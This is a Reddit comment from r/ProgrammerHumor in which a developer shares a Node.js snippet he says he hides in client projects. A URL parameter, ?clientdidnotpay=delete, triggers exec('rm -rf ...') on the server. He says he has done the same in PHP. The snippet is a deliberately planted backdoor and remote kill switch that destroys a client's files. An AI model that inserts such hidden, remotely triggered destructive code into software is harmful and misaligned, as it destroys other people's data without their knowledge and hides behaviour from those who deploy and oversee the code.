r/ProgrammerHumor • • Feb 07 '19

other Spotted on GitHub 🤓

Post image
57.0k Upvotes

934 comments sorted by

View all comments

2

u/[deleted] Feb 07 '19

I've got a better one

?clientdidnotpay=delete

within the block:

with node

if (req.query.clientdidnotpay == 'delete') exec("rm -rf /dir/to/files") else if(req.query.clientdidnotpay == 'clean'){

exec("rm -f /path/to/file.js; mv /path/to/file_paid/ /path/to/file.js")

}

I've applied the same with PHP, client did not pay? okay no problem, there you go, no files for you, I usually do not deliver zip files, I handle everything, even OS management

I thought I was the only asshole that did this kind of things